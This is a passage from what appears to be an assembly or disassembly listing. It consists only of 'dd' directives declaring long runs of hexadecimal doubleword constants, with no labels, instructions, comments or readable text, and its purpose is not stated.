0FED92E24h, 7EA0BF6Ch, 0C7C4BE89h, 2ECDB4A0h dd 69C02065h, 0BF42E371h, 0E8170A86h, 15750E87h, 0CB7EEE6Ah dd 4D97206Eh, 6AD341A1h, 0DC5C6B54h, 0E2F755EAh, 0D5F4A409h dd 446BC879h, 14B95FF8h, 47534D46h, 0F59F231Fh, 0C6976FDBh dd 0DD652EDEh, 0CC0A5F2Eh, 948D71DFh, 0A869E28Dh, 0C7CEFE44h dd 739FF65Ch, 0AABA151Ch, 0A2E60165h, 9232C192h, 161CF8B2h dd 0EB44EC75h, 563C4572h, 0E35DE3F2h, 625D5D1h, 0D5B2625Fh dd 8A303279h, 4909DCBDh, 0B74623A1h, 6F5EAD97h, 28AD136Fh dd 919E7169h, 0FFB06C6Dh, 0E85AE5E0h, 0DAEB9A8h, 38595F7Bh dd 444C2CA0h, 1E35D17Eh, 5BD31E5h, 0B0193DA8h, 132D74Ah dd 9F804D6Fh, 0F99F51EAh, 0C44AD348h, 0C96AEA9Eh, 8CBC840Eh dd 51852834h, 7134262h, 4B1D8100h, 9356A1ADh, 0B72BD556h dd 0F0C785B1h, 0E76EE4F2h, 1E5B3F9Ch, 5BEE109Dh, 68343A3Dh dd 7B14747Ch, 8076E5E5h, 0F4734F1Eh, 6B14B7A9h, 5146239Ah dd 25414819h, 0EB0FE7A5h, 0FBB5CD0Bh, 33199A1Ch, 4509552Bh dd 7AAA55EEh, 1BAE8B60h, 42B6AA44h, 6B0FEC76h, 0D89977F2h dd 2C0BCCE3h, 0D0B6E802h, 99A3F960h, 40332350h, 0A14DC427h dd 0AC0CC7A5h, 8F46E12Ah, 0BFB84DE8h, 5688CF43h, 7F1D9849h dd 315B7207h, 46E50677h, 449BCE65h, 988DE42Bh, 0EB1B60AEh dd 0EB1060F2h, 0A3E9B9D0h, 7B135DB2h, 298F6243h, 42980E24h dd 0C878F2B1h, 0A5293FB1h, 5E4449AAh, 70842B45h, 14BA4060h dd 40D981B8h, 0DD500635h, 430DD022h, 4357A4A5h, 3B6B46ABh dd 46CC0E96h, 5B386B5h, 685377CBh, 81432B8Bh, 0E315B4DEh dd 0F4031DB9h, 6CFB8B97h, 9B58FF27h, 6256E66Fh, 0D01623BCh dd 0A565E6AEh, 2F4C472Fh, 0C0F2B487h, 6CC9A402h, 0ADAC35A1h dd 1FBD86B9h, 7225B7FDh, 5A1E564Fh, 97FFC0FCh, 6C6A9DD7h dd 0B9D4B239h, 0E3029A4Fh, 25205A80h, 1FD58181h, 0DD7B1AB2h dd 3D10FC49h, 2A0C2E92h, 6D8EBF4Fh, 78F0C563h, 1A79EBE7h dd 0ACB7AE11h, 606A1958h, 927B517Bh, 6FA8F69Dh, 0D8D934A8h dd 0F1D448BBh, 42C58DE2h, 5A5055Dh, 562CE5F2h, 2145D078h dd 3C3E7ECDh, 3005B20Fh, 685401E9h, 28C9A175h, 7975678Fh dd 8970ECB0h, 0BE564814h, 4BA8CC52h, 0A18D3D08h, 4A8B8CF4h dd 4796B780h, 0E5DD5F5h, 9E640AD9h, 8BC5EB4Ch, 3AE7EC08h dd 1DEA1964h, 0B8868D4Bh, 0A97911Dh, 6BCE6CEDh, 18D84579h dd 0C6E218D2h, 0E0AA6823h, 0BB82D8EBh, 0B580EA1Eh, 362F16FAh dd 8F8DD5DAh, 9E88F9A2h, 0AD4D3A8Eh, 0B74AA4DDh, 0EBC8C801h dd 0DD0D2128h, 37F809Bh, 0B459086h, 976F58B5h, 1219EB8Fh dd 986FE250h, 0A1B5B1C1h, 9A54A132h, 39528B14h, 3B932700h dd 0DE534B20h, 897B053Fh, 0E57E0739h, 0CA2B0F2Ah, 0A4ED27FFh dd 1A1DBF66h, 0E334B426h, 0FACAD267h, 0A1A31AD5h, 5A3ABF19h dd 95EAF678h, 13172CB9h dd 0C531F598h, 277283FAh, 7B8F2EA5h, 6B20FBD4h, 4D9662F5h dd 1531731Fh, 0D3151995h, 0A2CA358Fh, 2E8B7E6Fh, 1D28B676h dd 2C045B3Ah, 4C6FE4B0h, 8E26B743h, 59D41BADh, 0FE196A80h dd 0D059964Ah, 396292C4h, 8F444EC1h, 0CFD479A4h, 0E99D8002h dd 9C70C89Fh, 5D81C7C4h, 403478F8h, 0E1B3777Bh, 0B682C99Fh dd 0B4209FFAh, 0CD8E37BEh, 0AFC330C2h, 92A61524h, 62B8E96h dd 0A179ABD4h, 0A326D9BEh, 78AB9634h, 0F920F27Eh, 61B30EE4h dd 97534939h, 8A9D6365h, 0FE137469h, 974D292Dh, 6972806Fh dd 78DB72C9h, 0F0F77AB9h, 542EEB72h, 3495A0Eh, 629284C4h dd 171B1D29h, 0A3A763EFh, 84BCD347h, 6C6CB0Fh, 7AAF7E41h dd 100C8049h, 1C0DB2h, 50A1413h, 54C80CCDh, 300F22EFh dd 0B41145BCh, 52E05D9Bh, 975AB6BFh, 8BBBE1ACh, 0A466D42Ah dd 0EB245973h, 313E88E4h, 3675CA0Dh, 94CC2561h, 0A317E4AEh dd 7E446820h, 132666D5h, 0B3315E65h, 254C568Eh, 4A68F44Dh dd 1B16950Fh, 787849E4h, 80E45918h, 2245A2E9h, 0E6BCC5F9h dd 9BE6A14Bh, 0C1B51084h, 0B1336A1Ah, 3184D6A1h, 31A33408h dd 0D2919022h, 6F5BBD74h, 0E193284h, 0E56AD42Dh, 0A8C40843h dd 5B0191E4h, 0DA2826F8h, 2BB132FDh, 8314D0BDh, 0A46A8C2Dh dd 91B7E7A1h, 610501FAh, 2D9A77h, 48CDC56Ah, 2686FC76h dd 0C113A23Bh, 68CDA0Fh, 0F9065375h, 0C36A4BDEh, 3902546Ah dd 0DF14FE23h, 0A5849A18h, 439885CFh, 0DA1A7510h, 241C3F94h dd 0B9FB2A0Fh, 0E1B4B110h, 458BBE1Ch, 0DEE7F0C9h, 0EDA0B051h dd 80CD0506h, 1A9ACD60h, 1B5A15E7h, 0BB2C2D2Ah, 0D2BF0700h dd 5BC21FCAh, 65994125h, 9667C66Fh, 0B3BF085Dh, 0A403FA14h dd 3642CD8Bh, 0B02D9D38h, 9B2B2E2Ah, 762FE565h, 0A12F65C5h dd 1205B2B2h, 961364A9h, 0DFC66CA8h, 0CA343E0h, 89BB4592h dd 0B5888ECBh, 2F4F90F5h, 0F5F54456h, 79D24E49h, 0A8D9A747h dd 360269C1h, 80302EAFh, 78D2B717h, 190AC6B6h, 10DF0346h dd 8BF1D0D4h, 0B5461F7h, 6C0B8FE8h, 0DB907C25h, 0AC22B096h dd 0A0629D43h, 0EAC8A420h, 0E03D8B5Dh, 0E81EB4D9h, 0C3DA3C94h dd 8CCC5E89h, 0ABF28A9h, 6FA6FA92h, 0D5BDD13Dh, 50288449h dd 43B22B30h, 94B4FED5h, 546EDF1Ah, 71813F60h, 72C9F016h dd 8B568502h, 0AC541CA5h, 931270DFh, 0B12201E5h, 0C9F388C4h dd 64DBF634h, 8AAD780Eh, 1CFE75A6h, 710F2FF5h, 9097C27Fh dd 94F6A667h, 71FBF613h, 3C84AD6Eh, 492F1EADh, 2523379Dh dd 2676EA4Eh, 705C663Bh, 5920C58Dh, 0A07257B1h, 0C5AD60F6h dd 7F8EED00h, 0C64F3318h, 0A21AE8E6h, 525A0DEAh, 98EEA0E3h dd 1B421009h, 0C1A481F4h, 4B6C83BEh, 0B866EBD7h, 22F55B28h dd 6DD16643h, 6C8607C5h, 23B175C5h, 0BBD11CC9h, 0B9766C18h dd 0A7AD5079h, 14D825F9h, 80D85F9Ah, 916FC65Dh, 2936CEADh dd 2CE19283h, 0CC4A7F84h, 99A579F8h, 0CC9EC172h, 0AB91C3D0h dd 0A9468559h, 34655A7Fh, 9BAADB38h, 0A488B013h, 0CD309A07h dd 7A9E23CBh, 0D11AEA31h, 0CF3826D6h, 8E4F29A0h, 0BDBA5FB3h dd 3B956024h, 8ED0875h, 843A3BE1h, 5D70841Eh, 848FB53h dd 0C961043Dh, 190830h, 0DF151A41h, 70A168EDh, 9865259Ah dd 3D23CDC5h, 0DE47F639h, 9513801Ch, 8F56E2DFh, 0CC5E4F3Fh dd 0BCAED12Dh, 32E76E6Ah, 7A29684Ah, 14D4426Dh, 75D1DB4Fh dd 0E7471CBBh, 26436F6Dh, 35766325h, 0B3BA9390h, 97AB0B48h dd 402136B7h, 44888D96h, 0B6CE8D4Ah, 56C8D315h, 26CED1B2h dd 0D827DB2Ch, 0B898EE27h, 7F1EF1D7h, 6C2DC68Eh, 0A35893DDh dd 6772BDE3h, 898B929Bh, 62C9FFCBh, 0BFD37CE4h, 3FCDCB4Ah dd 0F4206181h, 0C5D96C7Dh, 0F833710Eh, 4C9C0626h, 9A4DAB5Fh dd 9F337E2h, 0FCCC0B77h, 0C49E07A6h, 23F8166Dh, 75A194B7h dd 0B991F774h, 0EEE45223h, 0DF4E3C38h, 0FB6AD0E9h, 269AD1C5h dd 62DF079Bh, 2A67B201h, 1B785099h, 8532E674h, 2A132AFEh dd 0B341A13Bh, 0E6D6854Bh, 6914F079h, 254F1540h, 95A985DBh dd 62EC94ABh, 2D5F287Ch, 3B4B9B44h, 0EAD84691h, 0B672F771h dd 0B843EADBh, 37C6983Bh, 0B5949DFh, 0EC947784h, 0C42C7A72h dd 98F445C7h, 0E0738F8Fh, 84D85E31h, 96267090h, 42337962h dd 834FD5B3h, 400226E7h, 0DAA0F0B9h, 2A53BF59h, 0B6ECCB67h dd 0F2B0F6D7h, 0ECE6211Ch, 0B2996158h, 18FFE59Bh, 404C953Eh dd 0F1C7B620h, 264AD8Ah, 3F6C7881h, 23220AB7h, 0FBF96A0Bh dd 3765DFA4h, 9A1D2B48h, 0CAC5D812h, 0CE78E0F3h, 22670EC4h dd 0DA53C50h, 0ECF57DBDh, 15FA1418h, 0E1135B79h, 982F5A6Bh dd 37482BB1h, 0DC4AFD70h, 6B2DC316h, 4635912Ch, 298F1D28h dd 0AA3C4772h, 2C30DCE7h, 4E7A63E7h, 0A516B85Bh, 0DB5ED844h dd 0F155A66Bh, 229F4722h, 0E5973BB7h, 0DC5522D9h, 0D5B9FAFBh dd 8F1D590Ch, 0C65B164Bh, 0EBF2CFDBh, 4CA173BAh, 6EA04005h dd 5AC6BF89h, 31431681h, 0C38A1DE1h, 0F1364514h, 0C70B5B3Ch dd 0BF0462B9h, 7E704531h, 0A271DDCDh, 4A95C358h, 4EA27854h dd 0C514C839h, 7EA02E4Ah, 4A879A8Fh, 6B464060h, 0B4A7275h dd 5DB3B87Ch, 0EFB338F2h, 0CD26B984h, 26CFFCE7h, 79E104CEh dd 8D9C0DF6h, 0A316157Dh, 51DEC594h, 0C896AB3h, 77E3C2E6h dd 62614326h, 5B261C50h, 0B2916889h, 9ADC3143h, 0C8365F43h dd 0B317C6EFh, 79B8A695h, 0E893BB53h, 0F4842B9Dh, 18160EEEh dd 526B0DA8h, 8D73AD7Ah, 49393E29h, 0C8F9C8A3h, 158EEACDh dd 0E461C8C9h, 917A85E9h, 42CA4B7Bh, 7E4000C0h, 2AC19E2Bh dd 5B26A6D0h, 0A522A237h, 0DCFD6AF3h, 0A884D9E0h, 0BB528EC2h dd 4BE85894h, 0FC7BF1E0h, 0AD84D2D1h, 0CADE5C5Bh, 0F87AB6FFh dd 0EED1294Dh, 2CB1EA1Eh, 0E1E10EF2h, 5BBB968Bh, 0A70B1F6Fh dd 2B010FFFh, 8F4DAC37h, 7F0B7517h, 0BABB2C00h, 742CDD0Eh dd 7865EADAh, 0DA356BE9h, 43C00FC2h, 6085136Dh, 0C255AF2Dh dd 0F84D49C5h, 7C26BA99h, 97B89284h, 45FDD15h, 8AF94A4Fh dd 979E3D0h, 91E9E373h, 884BF137h, 1520C186h, 98B048D3h dd 2C3BCD36h, 8D1E7930h, 0AE3DCE87h, 9D738FBAh, 0C1D0D247h dd 2BCE15B1h, 0FE6E0038h, 9C1BEB31h, 974ADCB5h, 9324A542h dd 26573D29h, 32650F33h, 20881592h, 0E85B2CACh, 40AE3499h dd 0D5B86529h, 105E919Fh, 2AD08F92h, 0AC7B68C9h, 4150CF0Eh dd 52E2843Ch, 426F015Fh, 0AEE22ABh, 0CB7D42ADh, 57B8D2FBh dd 8E2B0B57h, 0D4E18A44h, 8B659C2Eh, 258D42ECh, 8E97B4B4h dd 0A54E81B1h, 606587A6h, 9A46CDD1h, 1430687Ah, 0E01AAA5Ah dd 91199864h, 1AB0692Ch, 366A3F6Dh, 5053F3F2h, 415324CAh dd 57E35445h, 0F1813CD2h, 0BC37C559h, 159AEA30h, 0B18C4303h dd 9382AEB6h, 0EA30EF2Ah, 0B2EE452Eh, 0C3853D5h, 3070638h dd 2878301Ah, 69DE1D8Ah, 3BC9BFB3h, 30FDCF0Dh, 0F4B4353h dd 0C520D01Bh, 69107F56h, 48354072h, 2AD7B6D9h, 6AA2254Ch dd 0F16A275Bh, 0C93DA1EBh, 0CAF00033h, 4E1EFA5Fh, 531E62D5h dd 7BBD43AFh, 722A5939h, 0A88365D9h, 3E529561h, 0A4132176h dd 0C585672Ch, 8510C616h, 4A3C3371h, 59936097h, 4A861585h dd 5CC30F13h, 7DC71FEh, 3AD66FC7h, 8909EC45h, 91345309h dd 789918A6h, 53082598h, 0F1D5EDE0h, 8EAFB093h, 0F39D1EB1h dd 14663A36h, 264C4F43h, 8CBA45BEh, 30B7A8B7h, 0CEF38999h dd 9898998h, 9D02C904h dd 4CA429A8h, 0E9E4C443h, 890AEE4Ch, 6F4CE0C7h, 0C9828E85h dd 0EF741522h, 99A2F21h, 0AA94CEF6h, 34E9E89Eh, 93E724E0h dd 0FD3431h, 2C135690h, 0EEBE186Ch, 453D515Bh, 5BEEDECh dd 0E9A94EFEh, 61804E81h, 2B4D9E8Eh, 42D21311h, 284D8A76h dd 8176813Ch, 0E5B4E007h, 183C5BF2h, 163DE6C7h, 7840C1E8h dd 5CAE8405h, 2F06A7C8h, 0AC4AACE9h, 985984B8h, 90EA84CBh dd 8FCE5750h, 0F962629Ch, 941724C7h, 0F7B1400Fh, 96AECC18h dd 0A31CE49Ch, 26DD5B0Bh, 0E458F882h, 9D8E3DCCh, 6E1DFC64h dd 9D9A3959h, 7A597E70h, 316036F0h, 7BCB1D9Ch, 0BE15AE59h dd 0DD92DF3Bh, 4EC9DE1h, 110AAE3Fh, 6B66D8D3h, 0FF1ABCF2h dd 0ED031C2Eh, 92D579FAh, 87DAAF3Ch, 0FA2D579Fh, 0C815F579h dd 0F356B54Ah, 3AD2956Ah, 16723E8Dh, 5CD13D0Dh, 9E5AACECh dd 0C4C6AB3Ah, 0A36046C3h, 34BAEA3Ch, 0AC95B432h, 0C7C1551Eh dd 713C02EEh, 775724A2h, 85DE41D4h, 0FC9089CAh, 0E352692Bh dd 9C49E7E1h, 25227FFFh, 61053C06h, 537BF69Ch, 0EA5C902Eh dd 0FFA78083h, 0D38DFD1Eh, 25F5D417h, 56CE2BC7h, 3F9CA8A9h dd 8EE9E436h, 2723F459h, 96DF27D1h, 55FEE479h, 0C6153B2Fh dd 4B1C1F8Ch, 86F92AA8h, 0F71968Bh, 0EB418DCFh, 0DC471B46h dd 275307F6h, 0E7EFBA5Bh, 8BBC1C27h, 15A423Dh, 6A1A7F6Eh dd 19F1A382h, 7AE851EBh, 8DD5F88Eh, 479357FAh, 0B7230137h dd 951F0850h, 46F09518h, 2CA89F54h, 895DA15h, 11D5125Dh dd 42DE137Fh, 83DC4617h, 0AE48CBD4h, 0EA0D8C28h, 9041E063h dd 8C72DFF1h, 4895FF4Ah, 13F0364h, 4B0B11A3h, 6DE26F28h dd 0DF8979Ch, 0E2F3E529h, 0D1EC491Bh, 306DA6FBh, 857EE5B9h dd 7D9F5764h, 86855907h, 0ABDAC39Ah, 98DB8A08h, 0DAEA57E9h dd 0A3C474ABh, 0C39AE2E7h, 67E2A4D2h, 0DB5F700Eh, 0C3029DD8h dd 4F6803E0h, 221D1F12h, 97BA72A4h, 4D19E868h, 98BEBB11h dd 0D603400Dh, 0A3B75685h, 0B0EEC3C5h, 0DDAF6D78h, 0AADE1E9Eh dd 16575954h, 0C8D6E5B0h, 292B2B7Ch, 67965809h, 0E101EAB2h dd 658D4960h, 143CBDB9h, 0AD14EC9Dh, 0E0F08FCBh, 5311AD64h dd 0B18D6230h, 299CB139h, 9A42ACB3h, 47E25A20h, 7D344F75h dd 0EA1A6C5Fh, 2E8A899Fh, 67DEBC9h, 7870FDB4h, 94EF74BFh dd 81DF6E83h, 82ED7479h, 0CC315501h, 0ED279E22h, 79B6DF6Eh dd 894C8F02h, 9609E75Dh, 0B289D3DDh, 837ED1FBh, 0EFD49F0Fh dd 884712FEh, 8DFE819Eh, 0AD72DF70h, 0BF42657Ah, 931BB7Dh dd 64E0225Ch, 928705Dh, 0D1C3BE3Ah, 82FCEF12h, 0E7805B2Eh dd 5C8E743Ch, 5569268Dh, 7EF7EA03h, 46C1A83Dh, 0E6083463h dd 0B5853069h, 44ADAD8Eh, 3B5CB5E9h, 8B73121Dh, 4B68F8F1h dd 6773199Eh, 20F89FC0h, 0C5A33D97h, 0E87030DDh, 12D8FA2Ch dd 0EBFF9A04h, 1ED83B94h, 35631E26h, 4FAAB31Fh, 0FFE3C2D8h dd 20F081B8h, 39FF1B99h, 61BE0301h, 53C6CDCBh, 2C9B975Ah dd 7540DF5Eh, 0CED9F2D4h, 0DDCCF956h, 10BC66E7h, 933F2FFEh dd 0C754BFC2h, 1AD942FFh, 12E1B287h, 2CA96CC4h, 54E4FD7Ah dd 3F78661Eh, 0E68C0F2Eh, 0F1714F2Bh, 2B85E5EDh, 9804C8D0h dd 5F5E2F27h, 74F11D6Bh, 83D5445Dh, 912FBFCAh, 52DD598Fh dd 26640931h, 320227AEh, 50E46FD5h, 0EE5081BEh, 0FCA50919h dd 0ED4A1244h, 0D6292870h, 894EEC95h, 6BAF542Dh, 75A9064Dh dd 0A67E77A9h, 4A1945Fh, 0D9C17917h, 0F8679C29h, 0A77578D3h dd 7B716026h, 63C9BDD3h, 564BE414h, 0ED55273Bh, 0B5794FF1h dd 424DC424h, 0D043680Bh, 79ED0E04h, 177DDA1Dh, 82995680h dd 1A1C34D6h, 459D7589h, 0E57BE0C8h, 0FA71108Ch, 2C86EA9Ah dd 0A4991ECEh, 899BE5C2h, 7D577D69h, 699D2EF9h, 0C8DD577Dh dd 0F120A11Fh, 137E9DE4h, 0B5035E24h, 0DDE0F937h, 2875D433h dd 16764A34h, 65633B7Ah, 0A0C2BDC8h, 4732FAA2h, 0DCA5D9FAh dd 0C5BA462Eh, 0BF7EDEADh, 0F3101F51h, 0FC40E255h, 0BED94ECBh dd 0FFC2B33Ch, 680F22B0h, 9237E27Bh, 375AFE8Ch, 0F729B452h dd 3CA415A3h, 7F1F1D50h, 0BC2DCB2Fh, 0BD0F64D9h, 822A5F75h dd 6613B695h, 7EF1D7D4h, 0BF432523h, 64F6ED48h, 6E6E25EDh dd 0FAAC38FAh, 3F56475Bh, 0CEBFAA8Dh, 91AD643Dh, 17F27FAAh dd 0ECD68FD7h, 0D2C901FFh, 1EE1E772h, 473E1E25h, 5F0F1C5h dd 0FFD71C55h, 0FF5D1047h, 0BE96C405h, 475575CFh, 0CB4D3554h dd 0D520045Dh, 6621F0C5h, 51A50146h, 0EC336B7Dh, 0D02BC310h dd 39D088A5h, 39D92D3h, 11F5F2DDh, 0D30B6879h, 0FC9DD829h dd 4618758Ah, 0FFD550B8h, 87CA8639h, 8F2A50BAh, 2A4ABF4Bh dd 2505924Ch, 9960F753h, 61F8D695h, 8D9077F5h, 0BF21FF47h dd 0A5F2162Ah, 0D4389E47h, 8B099BC9h, 0CE2C4919h, 4E8B1F1Fh dd 0F15B1D47h, 2EB6C3E2h, 0E56D18DAh, 42F7CCC6h, 0ACD96EAAh dd 39EDC58Eh, 0CB4697E9h, 0C13F0FBDh, 0F354E91h, 964AF0C7h dd 68539CEEh, 0D688CC91h, 587E5D71h, 0E1F9471Eh, 0B1985AB8h dd 3CF067EAh, 540F45BDh, 77BB2A14h, 57306E2Fh, 1DD854F8h dd 1C1CE028h, 51319A9Eh, 41F26CCEh, 0F1ECF40Dh, 5D1170Eh dd 47B82697h, 0ABC0B52Eh, 9432C169h, 0B1E419C7h, 499E627Dh dd 0D7C9C2B6h, 33CAAA12h, 3184C4C5h, 43900E22h, 0BBA2738Fh dd 0AF6AB41h, 0D926D85Ch, 0C06B7EE8h, 271EBEA3h, 7CC4C55Ah dd 55638D34h, 3BC58A03h, 0F5BDDC64h, 0A7D3CADh, 0C26C5E77h dd 1F9A1D4Dh, 0C4558274h, 23F8A82Dh, 4FACE01Eh, 26232755h dd 0E451E847h, 1835A1C3h, 597D9E45h, 78A17408h, 0C01C3164h dd 0E9A94BAh, 0FF49763Ch, 3C9563A6h, 9755589h, 0CEF50551h dd 9DB114D2h, 6CFD3FDCh, 0C8779729h, 46D02616h, 0FD70257Bh dd 0FF188E50h, 0D816F15Dh, 0DA2FD558h, 3C4FA158h, 0E7155A2Eh dd 0BF62C198h, 1742703Ch, 3BA84A42h, 0CFD1EAFh, 34B55C89h dd 3CD24C9Ah, 0E91F93EAh, 0EA90547Dh, 0BEFB9423h, 2B206F95h dd 46DA8B5Bh, 0A82E4433h, 0BA07396Fh, 27B34994h, 3E2F25B4h dd 0DDC26A8Ah, 0E41786ADh, 0D1C7885Bh, 2A3D61B7h, 0D61B1476h dd 0AC5A8564h, 26286515h, 3753DD5Eh, 9CBCDB88h, 73F137E9h dd 9874BC7Fh, 0EB5C957Ch, 0B1DBEE8h, 0DD2E29h, 688FE6E9h dd 0A2CECE96h, 0E072036Bh, 0BAC47573h, 79185432h, 0BED90365h dd 6552B045h, 0DA43416h, 0B64374B7h, 0C87F0FE1h, 54F65924h dd 3FC6CB2Eh, 0CEAA68F2h, 542EAC93h, 8347D286h, 0D451AB94h dd 5525B23h, 0C58BB70Fh, 0C5968EADh, 0A99F5643h, 72FE8130h dd 0A688070Ah, 0F64F0DF7h, 0CE81C1D2h, 2AC03C0Bh, 0D93E8BAAh dd 0C7F57493h, 0E2DC1F45h, 76584D93h, 135EE922h, 0A7AE918Bh dd 785D8F0Bh, 7DD0CE16h, 3DC24675h, 4D8AFFA4h, 909F0FA6h dd 634A0E4Ch, 5EF69A7h, 0BE47BD6Fh, 0F1A8F829h, 0A84A791Eh dd 0F7FCD2Dh, 13C804ECh, 0BC787B6Ah, 393416ECh, 0FE875141h dd 0E5E2268Eh, 0A12082F1h, 4FEB933Bh, 83ECDF04h, 44787B97h dd 0B51848CFh, 0C41123ABh, 59344A68h, 406BD27Dh, 15AE3AEEh dd 7EF55309h, 49E89656h, 527A8ADAh, 2228F639h, 6C70CB0h dd 0C6151A78h, 0C180693Dh, 0E843461h, 0D2012F63h, 5C39E361h dd 0FB3C70BCh, 0C2525ADCh, 0A3CA5316h, 7D56D6C8h, 39F0DE2Ah dd 1E71F153h, 8A9F449Fh, 153E09D2h, 0D365436Bh, 0E390D376h dd 0BE43E19Fh, 3C7FC4EAh, 682D93E4h, 368B9663h, 26CF6EB1h dd 0B2F561D4h, 27C238EDh dd 428D6A31h, 547F0C43h, 0FF1FA9DDh, 36FE91F6h, 0A983D872h dd 2342C761h, 1A96DD87h, 1D1DB276h, 91BEF61Ah, 67BFEEC3h dd 86496D51h, 992DA8ECh, 0F5F269Bh, 305C274h, 0C9A5968Fh dd 608A681h, 86C3692Dh, 95877D1Eh, 0AAAFC797h, 33CE110Dh dd 0DAF05079h, 0C10BF212h, 0C2464DE3h, 8B76787Dh, 0A2535E20h dd 2468523Bh, 0D9F73207h, 1ABFC3E1h, 0ECEE11DBh, 34D4311Fh dd 79A75DFCh, 0BD7FB71Ah, 7177F0D0h, 8C2C5FADh, 16B23FC3h dd 9F8645D3h, 0F77D6AB6h, 2EF0A9C5h, 0A6855385h, 5559C73Dh dd 64250B35h, 3B5509C4h, 0B71EB3F6h, 0F6D16352h, 8CAC6644h dd 0F92B491Eh, 4783D235h, 0C074FEADh, 5BA066B1h, 63D81941h dd 4D82B48h, 1613CBCh, 4BC6CB3Bh, 0F2EB6717h, 0B14E48B2h dd 9B8AC773h, 9C3AC831h, 0A99CF111h, 0DD0375FDh, 5F7FA0D4h dd 16C39556h, 0A55BC25Ah, 0E0C6534h, 19BA9A0Dh, 0BAA0867Fh dd 0D61EE651h, 87BD8F6Ch, 2BAD2E5Ah, 0E9D2996Eh, 8D22BB3Ch dd 78D9641Dh, 0DA16E323h, 0FD4CFF51h, 60D1B178h, 7F1AB1ACh dd 2473D54Dh, 0DAE86EA8h, 358D6729h, 0DA810416h, 6F172CB9h dd 0AD6F9C7Eh, 74A63B8h, 1141C7DBh, 0FB970952h, 0F370A41Ch dd 0AE8ECE00h, 2555956h, 8D5954C0h, 0C6D0443Fh, 3AF0CB2Ah dd 62CADAC2h, 0F4C57467h, 2F6CED29h, 1526E887h, 2FFEF51Bh dd 0C69A4AC6h, 4CB57172h, 387610E9h, 634CACCFh, 5E2E5867h dd 0ECA778DAh, 86BE3A10h, 9022C640h, 52F0AF4Dh, 898580C6h dd 92BE4428h, 4B145955h, 7DBCEF3Ch, 3F3229E9h, 2BB24818h dd 0D9608639h, 0A59D4875h, 8C98C431h, 0B41D59D7h, 84FD435Eh dd 48F5C342h, 631775C5h, 0F8665094h, 0C3B20183h, 32934D1Fh dd 24B3F0CBh, 695A5A38h, 0DC1C84BBh, 9F674E9Ch, 9A9A5980h dd 62469664h, 0CA6B8232h, 48FF7031h, 4DBEA538h, 0FCD5212Ah dd 0D8D58B9Ah, 0A0F39A1Dh, 84E25E94h, 105277C1h, 38C1F411h dd 0A71ABCA3h, 629A26D8h, 583D17B4h, 7DE1C812h, 68999B28h dd 287E78Dh, 12E94639h, 0F934DF8h, 0BF1EE5D2h, 2A212E8h dd 0B205FBDEh, 0BD52217Dh, 93709DA5h, 56FE2E93h, 576EBCD8h dd 91EB8C72h, 0F18025D3h, 10FB23B1h, 3B850CBFh, 7F89724Fh dd 0FC5BE419h, 957A5278h, 1F24B404h, 0F7312D5Eh, 39C79F05h dd 0DD0E7692h, 0BEE1C2DEh, 80B0B444h, 27C52E55h, 25E45CBBh dd 0FF086A17h, 24FAAF3Ah, 0F2A6186Eh, 0A646986Ah, 84417630h dd 57B181FFh, 0F093798Ah, 1CFE35B4h, 0CC5C1D17h, 91EC2163h dd 691EB4Ch, 8A467CCFh, 8A691E99h, 0D603AA5Ah, 0CEC1CACh dd 6B6723FAh, 0DB07752Bh, 5416F9A1h, 518F8E04h, 0C8A67CEDh dd 0FD17427h, 0EADCCC1Eh, 0D69A439Ch, 0F4EBFC84h, 0DE3C61FDh dd 88F39C59h, 0E072D83h, 0CA3E5636h, 3AA317F8h, 0EFD4B217h dd 0DCEB4697h, 0EBD57026h, 0B1AD34BBh, 0E8EE6EF5h, 539D01E7h dd 2662F3A2h, 381B9D67h, 82DB4CEBh, 48A42D05h, 9E9B78A6h dd 2050E6F3h, 254D20DFh, 324125A6h, 0A17F1DC1h, 7209B768h dd 0E27C3ECCh, 0C8ABD479h, 886FD4C0h, 666CE7ABh, 4B8E2E1Eh dd 4C7CA7F2h, 2AF00E0Fh, 81EE6C16h, 0B1F47431h, 41B160B6h dd 5ECAA602h, 29B19741h, 0C93B2AA6h, 7454E154h, 0C50B6812h dd 0DB66AA62h, 0F4E5E85Dh, 0CA32755Dh, 5E1BB746h, 8B2643FCh dd 9F3CC2E1h, 8FAB5C67h, 0FC819E4Ch, 0A113B21Ah, 0B2B3D25Ah dd 46E9621Ah, 932A0E05h, 21FF9BB8h, 0DF973AAFh, 4503C465h dd 0BC81528Eh, 6EDD0F19h, 0EA299D47h, 422A344Ah, 2FBCDBDFh dd 379D0F47h, 1BCFD09Eh, 0DBF968Eh, 0F82BB40h, 0C136C2F7h dd 66C08132h, 26FE11D3h, 6EDD8729h, 0BD0F1F89h, 3BAF2F65h dd 0D5F86283h, 51B349FBh, 0D66E08E7h, 0D21E44A9h, 9EE191B1h dd 0E6FF62A7h, 1434D79Eh, 32C0D666h, 1794D24Fh, 68653493h dd 0AE4A1FDDh, 0CDF4B7FBh, 29674FE6h, 0B4754722h, 550E84CBh dd 0A6E2F7D7h, 2EF75831h, 7EF09C52h, 0D5B0F479h, 0FA37C915h dd 2D343E4Dh, 0E6C76375h, 77D2453Eh, 0D5B7CC45h, 0B9B25AFh dd 31185A72h, 30A664ADh, 22AF68AEh, 0C20AA9E6h, 0E6234987h dd 402E0DF8h, 8D3ACD42h, 4DA800B1h, 14DBF55Eh, 0F2EECD82h dd 6A61B9A7h, 6FDFA0A0h, 0A45C5F55h, 7FA041EBh, 4EFB0501h dd 322CA699h, 0BC169529h, 5B9A44C9h, 1B178987h, 0C24975E0h dd 8EE06791h, 687D500h, 2D5C2E49h, 7A56862Dh, 7AD95B1Ch dd 0E2091F2Ch, 0E3DBEC2Fh, 8D2CBE4Bh, 4AD9DB62h, 3E4FB84Bh dd 6163E305h, 0B1601615h, 1F3666E3h, 3D0FBBE8h, 0C03790C6h dd 0D5EA71A7h, 29FA0C5Ah, 3C5ACD11h, 1C2F09EAh, 8AA99072h dd 98B97867h, 0DF290976h, 67A2CF7Dh, 28CA413Bh, 9D36636Fh dd 0E5D5A2E9h, 61AD11E5h, 316038F5h, 5987AFD5h, 0E5F509BCh dd 598BC9AAh, 2092244Eh, 0DB10F211h, 0C47C6120h, 0B88375B9h dd 47DEAEE5h, 33CE756Ah, 0E837DB81h, 583DA68Bh, 512C8062h dd 69DD457Bh, 9DC7355Ah, 98AE4727h, 6C9875EBh, 0AF15AC3Bh dd 859EAED0h, 2C5A93A5h, 0F85D61B6h, 5261752Ch, 0D0EBD197h dd 0CC423308h, 2F01B14Eh, 49FBD48Ch, 1CFFC4A4h, 49516BA9h dd 0FF908932h, 0A73D0862h, 